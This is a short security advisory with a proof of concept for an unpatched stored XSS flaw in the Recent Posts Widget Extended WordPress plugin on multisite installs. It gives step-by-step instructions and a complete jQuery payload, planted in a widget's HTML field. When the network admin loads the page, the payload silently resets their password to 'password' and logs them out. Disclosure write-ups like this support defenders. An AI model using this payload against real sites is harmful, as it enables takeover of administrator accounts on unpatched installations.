Recent Posts Widget Extended <= 0.9.9.3 – Authenticated XSS (multisite)

Description

XSS in the Recent Posts Widget Extended plugin allows single site admins to change network admin's password with simple CSRF described above POC field.

This vulnerability is currently unpatched.

Proof of Concept

1. Login as single site administrator
2. Add Recent Posts Extended Widget to some widget area
3. Add following script to the widget's before or after html field and replace word 'superadmin' with multisite install's network admin login name.

    jQuery.get('/wp-admin/profile.php', function (data) {
        jQuery('body').append(data);

        setTimeout(function () {
            
            if (jQuery('#wpadminbar #wp-admin-bar-user-info span.username').first().text() === 'superadmin') {
                

                jQuery('.wp-generate-pw').trigger('click');
                jQuery('#pass1').val('password');
                jQuery('#submit').trigger('click');
                jQuery('#wp-admin-bar-logout a').trigger('click');

            }
        }, 2000);

    });